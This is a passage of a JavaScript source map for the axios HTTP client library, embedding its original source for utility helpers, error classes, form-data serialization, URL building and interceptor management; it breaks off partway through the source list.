0ustar00{"version":3,"file":"axios.min.js","sources":["../lib/helpers/bind.js","../lib/utils.js","../lib/core/AxiosError.js","../lib/helpers/toFormData.js","../lib/helpers/AxiosURLSearchParams.js","../lib/helpers/buildURL.js","../lib/core/InterceptorManager.js","../lib/platform/common/utils.js","../lib/defaults/transitional.js","../lib/platform/browser/index.js","../lib/platform/browser/classes/URLSearchParams.js","../lib/platform/browser/classes/FormData.js","../lib/platform/browser/classes/Blob.js","../lib/platform/index.js","../lib/helpers/formDataToJSON.js","../lib/defaults/index.js","../lib/helpers/toURLEncodedForm.js","../lib/helpers/parseHeaders.js","../lib/core/AxiosHeaders.js","../lib/core/transformData.js","../lib/cancel/isCancel.js","../lib/cancel/CanceledError.js","../lib/core/settle.js","../lib/helpers/speedometer.js","../lib/helpers/throttle.js","../lib/helpers/progressEventReducer.js","../lib/helpers/isURLSameOrigin.js","../lib/helpers/cookies.js","../lib/core/buildFullPath.js","../lib/helpers/isAbsoluteURL.js","../lib/helpers/combineURLs.js","../lib/core/mergeConfig.js","../lib/helpers/resolveConfig.js","../lib/adapters/fetch.js","../lib/adapters/xhr.js","../lib/helpers/parseProtocol.js","../lib/helpers/composeSignals.js","../lib/helpers/trackStream.js","../lib/adapters/adapters.js","../lib/helpers/null.js","../lib/core/dispatchRequest.js","../lib/env/data.js","../lib/helpers/validator.js","../lib/core/Axios.js","../lib/cancel/CancelToken.js","../lib/helpers/HttpStatusCode.js","../lib/axios.js","../lib/helpers/spread.js","../lib/helpers/isAxiosError.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n  return function wrap() {\n    return fn.apply(thisArg, arguments);\n  };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n    const str = toString.call(thing);\n    return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n  type = type.toLowerCase();\n  return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n  return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n    && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n  let result;\n  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n    result = ArrayBuffer.isView(val);\n  } else {\n    result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n  }\n  return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n  if (kindOf(val) !== 'object') {\n    return false;\n  }\n\n  const prototype = getPrototypeOf(val);\n  return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n  let kind;\n  return thing && (\n    (typeof FormData === 'function' && thing instanceof FormData) || (\n      isFunction(thing.append) && (\n        (kind = kindOf(thing)) === 'formdata' ||\n        // detect form-data instance\n        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n      )\n    )\n  )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n  str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n  // Don't bother if no value provided\n  if (obj === null || typeof obj === 'undefined') {\n    return;\n  }\n\n  let i;\n  let l;\n\n  // Force an array if not already something iterable\n  if (typeof obj !== 'object') {\n    /*eslint no-param-reassign:0*/\n    obj = [obj];\n  }\n\n  if (isArray(obj)) {\n    // Iterate over array values\n    for (i = 0, l = obj.length; i < l; i++) {\n      fn.call(null, obj[i], i, obj);\n    }\n  } else {\n    // Iterate over object keys\n    const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n    const len = keys.length;\n    let key;\n\n    for (i = 0; i < len; i++) {\n      key = keys[i];\n      fn.call(null, obj[key], key, obj);\n    }\n  }\n}\n\nfunction findKey(obj, key) {\n  key = key.toLowerCase();\n  const keys = Object.keys(obj);\n  let i = keys.length;\n  let _key;\n  while (i-- > 0) {\n    _key = keys[i];\n    if (key === _key.toLowerCase()) {\n      return _key;\n    }\n  }\n  return null;\n}\n\nconst _global = (() => {\n  /*eslint no-undef:0*/\n  if (typeof globalThis !== \"undefined\") return globalThis;\n  return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const {caseless} = isContextDefined(this) && this || {};\n  const result = {};\n  const assignValue = (val, key) => {\n    const targetKey = caseless && findKey(result, key) || key;\n    if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n      result[targetKey] = merge(result[targetKey], val);\n    } else if (isPlainObject(val)) {\n      result[targetKey] = merge({}, val);\n    } else if (isArray(val)) {\n      result[targetKey] = val.slice();\n    } else {\n      result[targetKey] = val;\n    }\n  }\n\n  for (let i = 0, l = arguments.length; i < l; i++) {\n    arguments[i] && forEach(arguments[i], assignValue);\n  }\n  return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n  forEach(b, (val, key) => {\n    if (thisArg && isFunction(val)) {\n      a[key] = bind(val, thisArg);\n    } else {\n      a[key] = val;\n    }\n  }, {allOwnKeys});\n  return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n  if (content.charCodeAt(0) === 0xFEFF) {\n    content = content.slice(1);\n  }\n  return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n  constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n  constructor.prototype.constructor = constructor;\n  Object.defineProperty(constructor, 'super', {\n    value: superConstructor.prototype\n  });\n  props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n  let props;\n  let i;\n  let prop;\n  const merged = {};\n\n  destObj = destObj || {};\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  if (sourceObj == null) return destObj;\n\n  do {\n    props = Object.getOwnPropertyNames(sourceObj);\n    i = props.length;\n    while (i-- > 0) {\n      prop = props[i];\n      if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n        destObj[prop] = sourceObj[prop];\n        merged[prop] = true;\n      }\n    }\n    sourceObj = filter !== false && getPrototypeOf(sourceObj);\n  } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n  return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n  str = String(str);\n  if (position === undefined || position > str.length) {\n    position = str.length;\n  }\n  position -= searchString.length;\n  const lastIndex = str.indexOf(searchString, position);\n  return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n  if (!thing) return null;\n  if (isArray(thing)) return thing;\n  let i = thing.length;\n  if (!isNumber(i)) return null;\n  const arr = new Array(i);\n  while (i-- > 0) {\n    arr[i] = thing[i];\n  }\n  return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n  // eslint-disable-next-line func-names\n  return thing => {\n    return TypedArray && thing instanceof TypedArray;\n  };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n  const generator = obj && obj[Symbol.iterator];\n\n  const iterator = generator.call(obj);\n\n  let result;\n\n  while ((result = iterator.next()) && !result.done) {\n    const pair = result.value;\n    fn.call(obj, pair[0], pair[1]);\n  }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n  let matches;\n  const arr = [];\n\n  while ((matches = regExp.exec(str)) !== null) {\n    arr.push(matches);\n  }\n\n  return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n  return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n    function replacer(m, p1, p2) {\n      return p1.toUpperCase() + p2;\n    }\n  );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n  const descriptors = Object.getOwnPropertyDescriptors(obj);\n  const reducedDescriptors = {};\n\n  forEach(descriptors, (descriptor, name) => {\n    let ret;\n    if ((ret = reducer(descriptor, name, obj)) !== false) {\n      reducedDescriptors[name] = ret || descriptor;\n    }\n  });\n\n  Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n  reduceDescriptors(obj, (descriptor, name) => {\n    // skip restricted props in strict mode\n    if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n      return false;\n    }\n\n    const value = obj[name];\n\n    if (!isFunction(value)) return;\n\n    descriptor.enumerable = false;\n\n    if ('writable' in descriptor) {\n      descriptor.writable = false;\n      return;\n    }\n\n    if (!descriptor.set) {\n      descriptor.set = () => {\n        throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n      };\n    }\n  });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n  const obj = {};\n\n  const define = (arr) => {\n    arr.forEach(value => {\n      obj[value] = true;\n    });\n  }\n\n  isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n  return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n  return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n  DIGIT,\n  ALPHA,\n  ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n  let str = '';\n  const {length} = alphabet;\n  while (size--) {\n    str += alphabet[Math.random() * length|0]\n  }\n\n  return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n  return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n  const stack = new Array(10);\n\n  const visit = (source, i) => {\n\n    if (isObject(source)) {\n      if (stack.indexOf(source) >= 0) {\n        return;\n      }\n\n      if(!('toJSON' in source)) {\n        stack[i] = source;\n        const target = isArray(source) ? [] : {};\n\n        forEach(source, (value, key) => {\n          const reducedValue = visit(value, i + 1);\n          !isUndefined(reducedValue) && (target[key] = reducedValue);\n        });\n\n        stack[i] = undefined;\n\n        return target;\n      }\n    }\n\n    return source;\n  }\n\n  return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n  thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n  isArray,\n  isArrayBuffer,\n  isBuffer,\n  isFormData,\n  isArrayBufferView,\n  isString,\n  isNumber,\n  isBoolean,\n  isObject,\n  isPlainObject,\n  isReadableStream,\n  isRequest,\n  isResponse,\n  isHeaders,\n  isUndefined,\n  isDate,\n  isFile,\n  isBlob,\n  isRegExp,\n  isFunction,\n  isStream,\n  isURLSearchParams,\n  isTypedArray,\n  isFileList,\n  forEach,\n  merge,\n  extend,\n  trim,\n  stripBOM,\n  inherits,\n  toFlatObject,\n  kindOf,\n  kindOfTest,\n  endsWith,\n  toArray,\n  forEachEntry,\n  matchAll,\n  isHTMLForm,\n  hasOwnProperty,\n  hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n  reduceDescriptors,\n  freezeMethods,\n  toObjectSet,\n  toCamelCase,\n  noop,\n  toFiniteNumber,\n  findKey,\n  global: _global,\n  isContextDefined,\n  ALPHABET,\n  generateString,\n  isSpecCompliantForm,\n  toJSONObject,\n  isAsyncFn,\n  isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n  Error.call(this);\n\n  if (Error.captureStackTrace) {\n    Error.captureStackTrace(this, this.constructor);\n  } else {\n    this.stack = (new Error()).stack;\n  }\n\n  this.message = message;\n  this.name = 'AxiosError';\n  code && (this.code = code);\n  config && (this.config = config);\n  request && (this.request = request);\n  response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n  toJSON: function toJSON() {\n    return {\n      // Standard\n      message: this.message,\n      name: this.name,\n      // Microsoft\n      description: this.description,\n      number: this.number,\n      // Mozilla\n      fileName: this.fileName,\n      lineNumber: this.lineNumber,\n      columnNumber: this.columnNumber,\n      stack: this.stack,\n      // Axios\n      config: utils.toJSONObject(this.config),\n      code: this.code,\n      status: this.response && this.response.status ? this.response.status : null\n    };\n  }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n  'ERR_BAD_OPTION_VALUE',\n  'ERR_BAD_OPTION',\n  'ECONNABORTED',\n  'ETIMEDOUT',\n  'ERR_NETWORK',\n  'ERR_FR_TOO_MANY_REDIRECTS',\n  'ERR_DEPRECATED',\n  'ERR_BAD_RESPONSE',\n  'ERR_BAD_REQUEST',\n  'ERR_CANCELED',\n  'ERR_NOT_SUPPORT',\n  'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n  descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n  const axiosError = Object.create(prototype);\n\n  utils.toFlatObject(error, axiosError, function filter(obj) {\n    return obj !== Error.prototype;\n  }, prop => {\n    return prop !== 'isAxiosError';\n  });\n\n  AxiosError.call(axiosError, error.message, code, config, request, response);\n\n  axiosError.cause = error;\n\n  axiosError.name = error.name;\n\n  customProps && Object.assign(axiosError, customProps);\n\n  return axiosError;\n};\n\nexport default AxiosError;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n  return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n  return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n  if (!path) return key;\n  return path.concat(key).map(function each(token, i) {\n    // eslint-disable-next-line no-param-reassign\n    token = removeBrackets(token);\n    return !dots && i ? '[' + token + ']' : token;\n  }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n  return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n  return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n  if (!utils.isObject(obj)) {\n    throw new TypeError('target must be an object');\n  }\n\n  // eslint-disable-next-line no-param-reassign\n  formData = formData || new (PlatformFormData || FormData)();\n\n  // eslint-disable-next-line no-param-reassign\n  options = utils.toFlatObject(options, {\n    metaTokens: true,\n    dots: false,\n    indexes: false\n  }, false, function defined(option, source) {\n    // eslint-disable-next-line no-eq-null,eqeqeq\n    return !utils.isUndefined(source[option]);\n  });\n\n  const metaTokens = options.metaTokens;\n  // eslint-disable-next-line no-use-before-define\n  const visitor = options.visitor || defaultVisitor;\n  const dots = options.dots;\n  const indexes = options.indexes;\n  const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n  const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n  if (!utils.isFunction(visitor)) {\n    throw new TypeError('visitor must be a function');\n  }\n\n  function convertValue(value) {\n    if (value === null) return '';\n\n    if (utils.isDate(value)) {\n      return value.toISOString();\n    }\n\n    if (!useBlob && utils.isBlob(value)) {\n      throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n    }\n\n    if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n      return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n    }\n\n    return value;\n  }\n\n  /**\n   * Default visitor.\n   *\n   * @param {*} value\n   * @param {String|Number} key\n   * @param {Array<String|Number>} path\n   * @this {FormData}\n   *\n   * @returns {boolean} return true to visit the each prop of the value recursively\n   */\n  function defaultVisitor(value, key, path) {\n    let arr = value;\n\n    if (value && !path && typeof value === 'object') {\n      if (utils.endsWith(key, '{}')) {\n        // eslint-disable-next-line no-param-reassign\n        key = metaTokens ? key : key.slice(0, -2);\n        // eslint-disable-next-line no-param-reassign\n        value = JSON.stringify(value);\n      } else if (\n        (utils.isArray(value) && isFlatArray(value)) ||\n        ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n        )) {\n        // eslint-disable-next-line no-param-reassign\n        key = removeBrackets(key);\n\n        arr.forEach(function each(el, index) {\n          !(utils.isUndefined(el) || el === null) && formData.append(\n            // eslint-disable-next-line no-nested-ternary\n            indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n            convertValue(el)\n          );\n        });\n        return false;\n      }\n    }\n\n    if (isVisitable(value)) {\n      return true;\n    }\n\n    formData.append(renderKey(path, key, dots), convertValue(value));\n\n    return false;\n  }\n\n  const stack = [];\n\n  const exposedHelpers = Object.assign(predicates, {\n    defaultVisitor,\n    convertValue,\n    isVisitable\n  });\n\n  function build(value, path) {\n    if (utils.isUndefined(value)) return;\n\n    if (stack.indexOf(value) !== -1) {\n      throw Error('Circular reference detected in ' + path.join('.'));\n    }\n\n    stack.push(value);\n\n    utils.forEach(value, function each(el, key) {\n      const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n        formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n      );\n\n      if (result === true) {\n        build(el, path ? path.concat(key) : [key]);\n      }\n    });\n\n    stack.pop();\n  }\n\n  if (!utils.isObject(obj)) {\n    throw new TypeError('data must be an object');\n  }\n\n  build(obj);\n\n  return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n  const charMap = {\n    '!': '%21',\n    \"'\": '%27',\n    '(': '%28',\n    ')': '%29',\n    '~': '%7E',\n    '%20': '+',\n    '%00': '\\x00'\n  };\n  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n    return charMap[match];\n  });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n  this._pairs = [];\n\n  params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n  this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n  const _encode = encoder ? function(value) {\n    return encoder.call(this, value, encode);\n  } : encode;\n\n  return this._pairs.map(function each(pair) {\n    return _encode(pair[0]) + '=' + _encode(pair[1]);\n  }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n  return encodeURIComponent(val).\n    replace(/%3A/gi, ':').\n    replace(/%24/g, '$').\n    replace(/%2C/gi, ',').\n    replace(/%20/g, '+').\n    replace(/%5B/gi, '[').\n    replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n  /*eslint no-param-reassign:0*/\n  if (!params) {\n    return url;\n  }\n  \n  const _encode = options && options.encode || encode;\n\n  const serializeFn = options && options.serialize;\n\n  let serializedParams;\n\n  if (serializeFn) {\n    serializedParams = serializeFn(params, options);\n  } else {\n    serializedParams = utils.isURLSearchParams(params) ?\n      params.toString() :\n      new AxiosURLSearchParams(params, options).toString(_encode);\n  }\n\n  if (serializedParams) {\n    const hashmarkIndex = url.indexOf(\"#\");\n\n    if (hashmarkIndex !== -1) {\n      url = url.slice(0, hashmarkIndex);\n    }\n    url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n  }\n\n  return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n  constructor() {\n    this.handlers = [];\n  }\n\n  /**\n   * Add a new interceptor to the stack\n   *\n   * @param {Function} fulfilled The function to handle `then` for a `Promise`\n   * @param {Function} rejected The function to handle `reject` for a `Promise`\n   *\n   * @return {Number} An ID used to remove interceptor later\n   */\n  use(fulfilled, rejected, options) {\n    this.handlers.push({\n      fulfilled,\n      rejected,\n      synchronous: options ? options.synchronous : false,\n      runWhen: options ? options.runWhen : null\n    });\n    return this.handlers.length - 1;\n  }\n\n  /**\n   * Remove an interceptor from the stack\n   *\n   * @param {Number} id The ID that was returned by `use`\n   *\n   * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n   */\n  eject(id) {\n    if (this.handlers[id]) {\n      this.handlers[id] = null;\n    }\n  }\n\n  /**\n   * Clear all interceptors from the stack\n   *\n   * @returns {void}\n   */\n  clear() {\n    if (this.handlers) {\n      this.handlers = [];\n    }\n  }\n\n  /**\n   * Iterate over all the registered interceptors\n   *\n   * This method is particularly useful for skipping over any\n   * interceptors that may have become `null` calling `eject`.\n   *\n   * @param {Function} fn The function to call for each interceptor\n   *\n   * @returns {void}\n   */\n  forEach(fn) {\n    utils.forEach(this.handlers, function forEachHandler(h) {\n      if (h !== null) {\n        fn(h);\n      }\n    });\n  }\n}\n\nexport default InterceptorManager;\n","const hasBrowserEnv = typeof 